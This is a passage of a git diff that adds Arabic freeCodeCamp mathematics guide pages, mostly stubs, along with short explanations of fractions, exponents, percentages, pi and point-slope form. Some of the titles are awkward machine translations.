+ 4 ⁄ 5 × 3 ⁄ 5 = (4 × 3) ⁄ (5 × 5) = 12 ⁄ 25 
+
+#### مثال 2
+
+ 4 ⁄ 5 × 3 ⁄ 2 = (4 × 3) ⁄ (5 × 2) = 12 ⁄ 10 = 6 ⁄ 5 (مبسطة) 
+
+#### مثال 3
+
+ضرب الكسور مع العدد الصحيح.
+
+يرجى ملاحظة أنه يمكن اعتبار العدد الصحيح أيضًا جزءًا من خلال اعتبار أنه يمثل المقام 1.
+
+ 4 ⁄ 5 × 2 = (4 × 2) ⁄ (5 × 1) = 8 ⁄ 5
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/multiplying-matrices/index.md b/client/src/guide/arabic/mathematics/multiplying-matrices/index.md
new file mode 100644
index 0000000000..76a4777707
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/multiplying-matrices/index.md
@@ -0,0 +1,11 @@
+---
+title: Multiplying Matrices
+localeTitle: المصفوفات المتضاعفة
+---
+## المصفوفات المتضاعفة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/multiplying-matrices/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/negative-exponents/index.md b/client/src/guide/arabic/mathematics/negative-exponents/index.md
new file mode 100644
index 0000000000..6620068564
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/negative-exponents/index.md
@@ -0,0 +1,7 @@
+---
+title: Negative Exponents
+localeTitle: الدعاة السلبية
+---
+## الدعاة السلبية
+
+الأس السالب هو ببساطة نقل الأس أسفل شريط الكسرة. دعونا نأخذ قوة من 10. إذا أخذنا _10³_ نحصل على _10 \* 10 \* 10 = 1000_ . إذا كانت الأسس سالبة ، على سبيل المثال _10⁻³_ ، فسوف تساوي _1 / 10³_ ، أو _1 / (10 \* 10 \* 10)_ ، أو _1/1000_ فقط. هذا ينطبق على أي رقم ، وأي قوة. _2³ = 8_ ، حيث _2⁻³ = 1 / 2³ = 1/8_ . وينطبق نفس الشيء على 5 _² = 25_ بينما _5⁻² = 1 / 5² = 1/25_
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/normal-distribution/index.md b/client/src/guide/arabic/mathematics/normal-distribution/index.md
new file mode 100644
index 0000000000..6e6f393d4a
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/normal-distribution/index.md
@@ -0,0 +1,11 @@
+---
+title: Normal Distribution
+localeTitle: التوزيع الطبيعي
+---
+## التوزيع الطبيعي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/normal-distribution/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/number-bases-introduction-and-binary-numbers/index.md b/client/src/guide/arabic/mathematics/number-bases-introduction-and-binary-numbers/index.md
new file mode 100644
index 0000000000..5759b400bd
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/number-bases-introduction-and-binary-numbers/index.md
@@ -0,0 +1,11 @@
+---
+title: Number Bases Introduction and Binary Numbers
+localeTitle: عدد القواعد المقدمة والأرقام الثنائية
+---
+## عدد القواعد المقدمة والأرقام الثنائية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-bases-introduction-and-binary-numbers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/number-theory/comparing-base-n-numeral-systems/index.md b/client/src/guide/arabic/mathematics/number-theory/comparing-base-n-numeral-systems/index.md
new file mode 100644
index 0000000000..b06959c852
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/number-theory/comparing-base-n-numeral-systems/index.md
@@ -0,0 +1,11 @@
+---
+title: Comparing Base N Numeral Systems
+localeTitle: مقارنة بين N Numeral Systems
+---
+## مقارنة بين N Numeral Systems
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-theory/comparing-base-n-numeral-systems/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/number-theory/computers-dont-have-to-use-binary/index.md b/client/src/guide/arabic/mathematics/number-theory/computers-dont-have-to-use-binary/index.md
new file mode 100644
index 0000000000..cda7927c56
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/number-theory/computers-dont-have-to-use-binary/index.md
@@ -0,0 +1,11 @@
+---
+title: Computers Don't Have to Use Binary
+localeTitle: أجهزة الكمبيوتر غير خاص لاستخدام ثنائي
+---
+## أجهزة الكمبيوتر غير خاص لاستخدام ثنائي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-theory/computers-dont-have-to-use-binary/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/number-theory/euclidean-division/index.md b/client/src/guide/arabic/mathematics/number-theory/euclidean-division/index.md
new file mode 100644
index 0000000000..257d238c69
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/number-theory/euclidean-division/index.md
@@ -0,0 +1,11 @@
+---
+title: Euclidean Division
+localeTitle: قسم إقليدي
+---
+## قسم إقليدي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-theory/euclidean-division/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/number-theory/finding-prime-numbers/index.md b/client/src/guide/arabic/mathematics/number-theory/finding-prime-numbers/index.md
new file mode 100644
index 0000000000..bf6eade8c2
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/number-theory/finding-prime-numbers/index.md
@@ -0,0 +1,11 @@
+---
+title: Finding Prime Numbers
+localeTitle: العثور على أرقام رئيس الوزراء
+---
+## العثور على أرقام رئيس الوزراء
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-theory/finding-prime-numbers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/number-theory/floating-point-precision/index.md b/client/src/guide/arabic/mathematics/number-theory/floating-point-precision/index.md
new file mode 100644
index 0000000000..e136efd6f0
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/number-theory/floating-point-precision/index.md
@@ -0,0 +1,11 @@
+---
+title: Floating Point Precision
+localeTitle: عائم نقطة الدقة
+---
+## عائم نقطة الدقة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-theory/floating-point-precision/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/number-theory/fundamental-theorem-of-arithmetic/index.md b/client/src/guide/arabic/mathematics/number-theory/fundamental-theorem-of-arithmetic/index.md
new file mode 100644
index 0000000000..9dfac13b13
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/number-theory/fundamental-theorem-of-arithmetic/index.md
@@ -0,0 +1,11 @@
+---
+title: Fundamental Theorem of Arithmetic
+localeTitle: النظرية الأساسية للحساب
+---
+## النظرية الأساسية للحساب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-theory/fundamental-theorem-of-arithmetic/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/number-theory/how-do-computers-use-binary/index.md b/client/src/guide/arabic/mathematics/number-theory/how-do-computers-use-binary/index.md
new file mode 100644
index 0000000000..820d074bb4
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/number-theory/how-do-computers-use-binary/index.md
@@ -0,0 +1,11 @@
+---
+title: How Do Computers Use Binary
+localeTitle: كيف تستخدم أجهزة الكمبيوتر ثنائي
+---
+## كيف تستخدم أجهزة الكمبيوتر ثنائي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-theory/how-do-computers-use-binary/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/number-theory/index.md b/client/src/guide/arabic/mathematics/number-theory/index.md
new file mode 100644
index 0000000000..36c5409c88
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/number-theory/index.md
@@ -0,0 +1,11 @@
+---
+title: Number Theory
+localeTitle: نظرية الأعداد
+---
+## نظرية الأعداد
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-theory/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/number-theory/prime-factorization/index.md b/client/src/guide/arabic/mathematics/number-theory/prime-factorization/index.md
new file mode 100644
index 0000000000..aaac02a61a
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/number-theory/prime-factorization/index.md
@@ -0,0 +1,11 @@
+---
+title: Prime Factorization
+localeTitle: تعميم رئيس
+---
+## تعميم رئيس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-theory/prime-factorization/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/number-theory/sieves/index.md b/client/src/guide/arabic/mathematics/number-theory/sieves/index.md
new file mode 100644
index 0000000000..b1fd1fe43d
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/number-theory/sieves/index.md
@@ -0,0 +1,11 @@
+---
+title: Sieves
+localeTitle: المناخل
+---
+## المناخل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/number-theory/sieves/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/operations-on-functions/index.md b/client/src/guide/arabic/mathematics/operations-on-functions/index.md
new file mode 100644
index 0000000000..569067d93e
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/operations-on-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Operations on Functions
+localeTitle: العمليات على الوظائف
+---
+## العمليات على الوظائف
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/operations-on-functions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/optimization-box-volume/index.md b/client/src/guide/arabic/mathematics/optimization-box-volume/index.md
new file mode 100644
index 0000000000..cba5138582
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/optimization-box-volume/index.md
@@ -0,0 +1,11 @@
+---
+title: Optimization Box Volume
+localeTitle: حجم صندوق التحسين
+---
+## حجم صندوق التحسين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/optimization-box-volume/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/order-of-operations-pemdas/index.md b/client/src/guide/arabic/mathematics/order-of-operations-pemdas/index.md
new file mode 100644
index 0000000000..93d939b742
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/order-of-operations-pemdas/index.md
@@ -0,0 +1,11 @@
+---
+title: Order of Operations Pemdas
+localeTitle: ترتيب العمليات بميداس
+---
+## ترتيب العمليات بميداس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/order-of-operations-pemdas/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/partial-derivatives-introduction/index.md b/client/src/guide/arabic/mathematics/partial-derivatives-introduction/index.md
new file mode 100644
index 0000000000..115104d16a
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/partial-derivatives-introduction/index.md
@@ -0,0 +1,11 @@
+---
+title: Partial Derivatives Introduction
+localeTitle: مقدمة عن مشتقات جزئية
+---
+## مقدمة عن مشتقات جزئية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/partial-derivatives-introduction/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/partial-fraction-decomposition-general-techniques/index.md b/client/src/guide/arabic/mathematics/partial-fraction-decomposition-general-techniques/index.md
new file mode 100644
index 0000000000..e2e6f8d893
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/partial-fraction-decomposition-general-techniques/index.md
@@ -0,0 +1,11 @@
+---
+title: Partial Fraction Decomposition General Techniques
+localeTitle: جزء جزئي تحلل تقنيات عامة
+---
+## جزء جزئي تحلل تقنيات عامة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/partial-fraction-decomposition-general-techniques/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/pascals-triangle/index.md b/client/src/guide/arabic/mathematics/pascals-triangle/index.md
new file mode 100644
index 0000000000..4615ff4660
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/pascals-triangle/index.md
@@ -0,0 +1,11 @@
+---
+title: Pascals Triangle
+localeTitle: باسكالس المثلث
+---
+## باسكالس المثلث
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/pascals-triangle/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/pearsons-chi-square-test/index.md b/client/src/guide/arabic/mathematics/pearsons-chi-square-test/index.md
new file mode 100644
index 0000000000..9d2d4e1319
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/pearsons-chi-square-test/index.md
@@ -0,0 +1,11 @@
+---
+title: Pearsons Chi Square Test
+localeTitle: اختبار بيرسونز تشي سكوير
+---
+## اختبار بيرسونز تشي سكوير
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/pearsons-chi-square-test/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/percent-of-a-whole-number/index.md b/client/src/guide/arabic/mathematics/percent-of-a-whole-number/index.md
new file mode 100644
index 0000000000..70e6126f16
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/percent-of-a-whole-number/index.md
@@ -0,0 +1,11 @@
+---
+title: Percent of a Whole Number
+localeTitle: النسبة المئوية للرقم الجامع
+---
+## النسبة المئوية للرقم الجامع
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/percent-of-a-whole-number/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/percentage-change/index.md b/client/src/guide/arabic/mathematics/percentage-change/index.md
new file mode 100644
index 0000000000..6bd27fcb50
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/percentage-change/index.md
@@ -0,0 +1,25 @@
+---
+title: Percentage Change
+localeTitle: النسبة المئوية للتغير
+---
+## النسبة المئوية للتغير
+
+اطرح القديم من الجديد ، ثم قسّم على القيمة القديمة. أظهر ذلك كنسبة مئوية.
+
+ `        (New Value − Old Value)/|Old Value| × 100% 
+        (The "|" symbols mean absolute value, so negatives become positive) 
+` 
+
+مثال: كان هناك 200 عميل بالأمس ، و 240 اليوم:
+
+ `         (240 − 200)/|200| × 100% =  40/200 × 100% = 20% 
+                A 20% increase. 
+` 
+
+مثال: ولكن إذا كان هناك 240 عميل بالأمس ، و 200 اليوم ، فسنحصل على:
+
+ `          (200 − 240)/|240| × 100% =   −40/240 × 100% = −16.6...% 
+                A 16.6...% decrease. 
+` 
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/percentage-difference/index.md b/client/src/guide/arabic/mathematics/percentage-difference/index.md
new file mode 100644
index 0000000000..b144907791
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/percentage-difference/index.md
@@ -0,0 +1,41 @@
+---
+title: Percentage Difference
+localeTitle: الفرق بين النسبة المئوية
+---
+## الفرق بين النسبة المئوية
+
+الفرق بين قيمتين مقسومًا على متوسط ​​القيمتين. معروضة كنسبة مئوية.
+
+الفرق يعني طرح قيمة من أخرى:
+
+مثال: بيع اليكس 15 تذكرة ، وباع سام 25 الفرق بين 25 و 15 هو: 25 - 15 = 10
+
+المتوسط ​​هو القيمة في منتصف الطريق بين:
+
+ `   average =  (first value + second value)/2 
+` 
+
+مثال تابع:
+
+ `    The average of 25 and 15 is: (25 + 15) / 2 = 40/2 = 20 
+    And then the difference as a Percentage of the average: 
+` 
+
+مثال تابع:
+
+ `    Difference is 25 − 15 = 10 
+    Average is (25 + 15) / 2 = 20 
+ 
+    10 as a percentage of 20 is: 
+    10/20  × 100% = 50% 
+ 
+    The percentage difference between 25 and 15 is 50% 
+` 
+
+هذه هي الإجابة ، في سطر واحد:
+
+ `    Example continued 
+    (25 − 15)/((25 + 15)/2)  × 100% = 50% 
+` 
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/percentage-error/index.md b/client/src/guide/arabic/mathematics/percentage-error/index.md
new file mode 100644
index 0000000000..4a18925d3b
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/percentage-error/index.md
@@ -0,0 +1,25 @@
+---
+title: Percentage Error
+localeTitle: خطأ النسبة المئوية
+---
+## خطأ النسبة المئوية
+
+الفرق بين القيم التقريبية والمحددة ، كنسبة مئوية من القيمة الدقيقة.
+
+ `         (|Approximate Value − Exact Value|)/|Exact Value| * 100% 
+       (The "|" symbols mean absolute value, so negatives become positive) 
+` 
+
+مثال: اعتقدت أن 70 شخصًا سينتقلون إلى الحفل ، لكن في الحقيقة فعلوا 80!
+
+ `        (|70 − 80|)/|80|    × 100% =  10/80 × 100% = 12.5% 
+          I was in error by 12.5% 
+` 
+
+مثال: ذكر التقرير أن موقف السيارات كان يحتوي على 240 سيارة ، لكننا لم نحسب سوى 200 مكان لوقوف السيارات.
+
+ `        (|240 − 200|)/|200|    × 100% =  40200 × 100% = 20% 
+          The report had a 20% error. 
+` 
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/perimeter-area-and-volume/index.md b/client/src/guide/arabic/mathematics/perimeter-area-and-volume/index.md
new file mode 100644
index 0000000000..f56d6d1702
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/perimeter-area-and-volume/index.md
@@ -0,0 +1,11 @@
+---
+title: Perimeter Area and Volume
+localeTitle: محيط المنطقة والحجم
+---
+## محيط المنطقة والحجم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/perimeter-area-and-volume/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/perimeter/index.md b/client/src/guide/arabic/mathematics/perimeter/index.md
new file mode 100644
index 0000000000..2a9d5fdd09
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/perimeter/index.md
@@ -0,0 +1,11 @@
+---
+title: Perimeter
+localeTitle: محيط
+---
+## محيط
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/perimeter/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/permutation-formula/index.md b/client/src/guide/arabic/mathematics/permutation-formula/index.md
new file mode 100644
index 0000000000..1ae12b0612
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/permutation-formula/index.md
@@ -0,0 +1,11 @@
+---
+title: Permutation Formula
+localeTitle: صيغة التقليب
+---
+## صيغة التقليب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/permutation-formula/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/pi/index.md b/client/src/guide/arabic/mathematics/pi/index.md
new file mode 100644
index 0000000000..36ebfa12cf
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/pi/index.md
@@ -0,0 +1,11 @@
+---
+title: PI
+localeTitle: PI
+---
+## PI
+
+`PI = 𝜋 = 3.14159265359`
+
+PI هو ثابت رياضي تساوي قيمته تقريباً 3.14159265359. يتم تعريفها على أنها `ratio of circumference of a circle to its diameter` . يتم تمثيل PI بحرف greek `𝜋` ويستخدم على نطاق واسع في الفيزياء والرياضيات.
+
+تظل النسبة 𝜋 = محيط / قطر دائمًا كما هي ، بغض النظر عن حجم الدائرة. على سبيل المثال ، حتى لو أخذنا دائرة جديدة من ضعف قطر دائرة سابقة ، فإن محيط تلك الدائرة الجديدة سيكون بالضبط ضعف الدائرة السابقة التي تحافظ على قيمة 𝜋 لتكون ثابتة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/point-slope-equation-of-a-line/index.md b/client/src/guide/arabic/mathematics/point-slope-equation-of-a-line/index.md
new file mode 100644
index 0000000000..7e2690c21f
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/point-slope-equation-of-a-line/index.md
@@ -0,0 +1,23 @@
+---
+title: Point Slope Equation of a Line
+localeTitle: نقطة المنحدر المعادلة للخط
+---
+## نقطة المنحدر المعادلة للخط
+
+المنحدر النقطي هو الشكل العام y-y₁ = m (x-x₁) للمعادلات الخطية.
+
+ويؤكد على ميل الخط ونقطة على الخط (ليس التقاطع مع y).
+
+![معادلة انحدار نقطة](https://www.mathsisfun.com/data/images/graph-point-slope-a.gif)
+
+## استنتاج
+
+أي نقطتين على سطر A (x، y) و B (x₁، y₁) ستكون دائماً على نفس المنحدر. يفترض أن يكون A نقطة اعتباطية على نفس الخط. يتم تعريف "m" كميل المنحدر والماس للزاوية التي يصنعها الخط مع المحور السيني الموجب. يتم إعطاء ميل الخط بين نقطتين بواسطة:
+
+m = (y - y₁) / (x - x₁)
+
+لهذه الحالة ، حيث m هو ميل الخط تبسيط نحصل ص y₁ = م (س x₁)
+
+#### معلومات اكثر:
+
+\- [أكاديمية خان: معادلة انحدار نقطة](https://www.khanacademy.org/math/algebra/two-var-linear-equations/point-slope/v/idea-behind-point-slope-form)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/polar-and-cartesian-coordinates/index.md b/client/src/guide/arabic/mathematics/polar-and-cartesian-coordinates/index.md
new file mode 100644
index 0000000000..efb5a8c342
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/polar-and-cartesian-coordinates/index.md
@@ -0,0 +1,11 @@
+---
+title: Polar and Cartesian Coordinates
+localeTitle: الإحداثيات القطبية والديكارتي
+---
+## الإحداثيات القطبية والديكارتي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/polar-and-cartesian-coordinates/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/polar-coordinates/index.md b/client/src/guide/arabic/mathematics/polar-coordinates/index.md
new file mode 100644
index 0000000000..71b23e42c6
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/polar-coordinates/index.md
@@ -0,0 +1,11 @@
+---
+title: Polar Coordinates
+localeTitle: الإحداثيات القطبية
+---
+## الإحداثيات القطبية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/polar-coordinates/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/polygons/index.md b/client/src/guide/arabic/mathematics/polygons/index.md
new file mode 100644
index 0000000000..392d85815f
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/polygons/index.md
@@ -0,0 +1,11 @@
+---
+title: Polygons
+localeTitle: المضلعات
+---
+## المضلعات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/polygons/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/polynomial-graphs-end-behavior/index.md b/client/src/guide/arabic/mathematics/polynomial-graphs-end-behavior/index.md
new file mode 100644
index 0000000000..b4d0ecf392
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/polynomial-graphs-end-behavior/index.md
@@ -0,0 +1,11 @@
+---
+title: Polynomial Graphs End Behavior
+localeTitle: كثير نهاية سلوك رسوم بيانية
+---
+## كثير نهاية سلوك رسوم بيانية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/polynomial-graphs-end-behavior/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/polynomials-long-division/index.md b/client/src/guide/arabic/mathematics/polynomials-long-division/index.md
new file mode 100644
index 0000000000..9bb0328ed6
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/polynomials-long-division/index.md
@@ -0,0 +1,11 @@
+---
+title: Polynomials Long Division
+localeTitle: متعدد الحدود قسم طويل
+---
+## متعدد الحدود قسم طويل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/polynomials-long-division/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/prime-factorization/index.md b/client/src/guide/arabic/mathematics/prime-factorization/index.md
new file mode 100644
index 0000000000..e6393b3b33
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/prime-factorization/index.md
@@ -0,0 +1,11 @@
+---
+title: Prime Factorization
+localeTitle: تعميم رئيس
+---
+## تعميم رئيس
+
